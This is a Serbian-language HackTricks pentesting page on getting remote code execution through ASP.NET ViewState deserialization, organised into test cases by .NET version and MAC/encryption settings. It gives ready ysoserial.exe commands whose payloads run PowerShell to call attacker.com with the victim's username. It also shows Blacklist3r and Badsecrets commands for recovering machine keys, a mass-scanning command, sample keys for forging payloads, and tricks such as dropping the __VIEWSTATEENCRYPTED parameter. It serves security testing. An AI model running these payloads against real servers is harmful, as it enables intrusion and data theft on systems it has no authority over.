# Iskorišćavanje \_\_VIEWSTATE-a bez poznavanja tajni
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Šta je ViewState
**ViewState** služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka stranice i kontrola preko veb stranica. Tokom renderovanja HTML-a stranice, trenutno stanje stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64 enkodirane stringove. Ovi stringovi se zatim smeštaju u skrivena polja ViewState-a.
Informacije ViewState-a mogu biti karakterisane sledećim svojstvima ili njihovim kombinacijama:
* **Base64**:
* Ovaj format se koristi kada su atributi `EnableViewStateMac` i `ViewStateEncryptionMode` postavljeni na false.
* **Base64 + MAC (Message Authentication Code) omogućen**:
* Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo pruža verifikaciju integriteta podataka ViewState-a.
* **Base64 + Enkriptovan**:
* Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost podataka ViewState-a.
## Test slučajevi
Slika je tabela koja detaljno opisuje različite konfiguracije ViewState-a u ASP.NET-u zasnovane na verziji .NET framework-a. Evo sažetka sadržaja:
1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenjiva metoda za identifikaciju.
2. Za **verzije ispod 4.5**, ako je MAC omogućen ali Enkripcija nije, potreban je MachineKey. Metoda za identifikaciju MachineKey-a se naziva "Blacklist3r."
3. Za **verzije ispod 4.5**, bez obzira da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, potreban je MachineKey. Identifikacija MachineKey-a je zadatak za "Blacklist3r - Future Development."
4. Za **verzije 4.5 i novije**, sve kombinacije MAC-a i Enkripcije (bilo da su oba tačna, ili je jedan tačan a drugi netačan) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registarskog ključa `AspNetEnforceViewStateMac` na nulu u:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifikacija ViewState atributa**
Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om snimanjem zahteva koji sadrži ovaj parametar pomoću BurpSuite-a. Ako Mac nije korišćen za zaštitu parametra, možete ga iskoristiti koristeći [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test slučaj 1.5 – Kao Test slučaj 1, ali ViewState kolačić nije poslat od strane servera
Programeri mogu **ukloniti ViewState** da postane deo HTTP zahteva (korisnik neće primiti ovaj kolačić).\
Može se pretpostaviti da ako **ViewState** nije **prisutan**, njihova implementacija je **sigurna** od potencijalnih ranjivosti koje proizilaze iz ViewState deserijalizacije.\
Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serializovani payload kreiran korišćenjem ysoserial, i dalje ćemo moći postići **izvršenje koda** kao što je prikazano u **Slučaju 1**.
### Test slučaj: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
Da bismo **omogućili ViewState MAC** za **specifičnu stranicu**, potrebno je da napravimo sledeće promene na određenoj aspx datoteci:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Možemo to uraditi i za **ukupnu** aplikaciju postavljanjem u **web.config** fajlu kako je prikazano ispod:
```xml
```
Kako je parametar ovaj put zaštićen MAC-om, da biste uspešno izvršili napad, prvo nam je potreban korišćeni ključ.
Možete pokušati da koristite [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) da biste pronašli korišćeni ključ.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da za razliku od Blacklist3r-a, nema zavisnosti od Windows-a. Za .NET viewstate-ove, postoji "python blacklist3r" alat, koji je najbrži način za korišćenje.
Može se ili obezbediti direktno sa viewstate-om i generatorom:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Ili, može se direktno povezati sa ciljnim URL-om i pokušati izdvojiti viewstate iz HTML-a:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Za pretragu ranjivih viewstate-ova u velikom obimu, u kombinaciji sa enumeracijom poddomena, može se koristiti `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) modul:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
U slučajevima kada server **ne šalje** parametar `_VIEWSTATEGENERATOR`, **ne** morate **navesti** parametar `--generator`, **ali ovi**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Slučaj: 3 – .Net < 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno šifrovana i **trebaće vam Machine Key da biste šifrovali svoj payload** kako biste iskoristili ranjivost.
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u fazi razvoja...**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** nešifrovan \_`__VIEWSTATE`\_ parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Always**_. ASP.NET **samo proverava** prisustvo **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni, i pošalje se nešifrovan payload, i dalje će biti obrađen.**
Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti poput prolaska kroz fajlove, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE korišćenjem ranjivosti deserializacije ViewState-a.
* Uklonite `__VIEWSTATEENCRYPTED` parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška validacije Viewstate MAC-a i iskorišćavanje će propasti.
### Test Slučaj: 4 – .Net >= 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true/false osim ako su oba atributa postavljena na false
Možemo naterati korišćenje ASP.NET okvira navođenjem sledećeg parametra unutar web.config datoteke kako je prikazano ispod.
```xml
```
Alternativno, ovo se može uraditi navođenjem sledeće opcije unutar parametra `machineKey` u web.config fajlu.
```bash
compatibilityMode="Framework45"
```
Kao i prethodno, **vrednost je šifrovana.** Zatim, da bi poslao **validan payload, napadaču je potreban ključ**.
Možete pokušati da koristite [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) da pronađete korišćeni ključ:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Za detaljniji opis IISDirPath i TargetPagePath [pogledajte ovde](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Ili, sa [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (sa vrednošću generatora):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Kada se identifikuje važeći ključ mašine, **sledeći korak je generisanje serializovanog payload-a korišćenjem** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Ako imate vrednost `__VIEWSTATEGENERATOR`, možete **koristiti** parametar `--generator` sa tom vrednošću i **izostaviti** parametre `--path` i `--apppath`
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Uspešno iskorišćavanje ranjivosti deserializacije ViewState-a dovest će do zahteva van opsega ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ovaj tip eksploatacije je prikazan u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Eksploatisanje ViewState Deserializacije korišćenjem Blacklist3r i YsoSerial.NET". Za dalje detalje o tome kako proces eksploatacije funkcioniše i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati [PoC uspešne eksploatacije](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) koji je pružen.
### Test Slučaj 6 – ViewStateUserKeys se koristi
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo generisati **ViewState** payload sa metodama koje su do sada razmatrane, **payload neće biti obrađen od strane aplikacije**.\
Potrebno je koristiti još jedan parametar kako biste pravilno kreirali payload:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Rezultat uspešne eksploatacije
Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi **uspešno**, server odgovara sa "**500 Internal server error**" sa odgovorom "The state information is invalid for this page and might be corrupted" i dobijamo OOB zahtev.
Proverite [dalje informacije ovde](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/\[\*\*https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\*\*]\(https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\)/README.md)
## Reference
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
**Savet za bug bounty**: **Prijavite se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.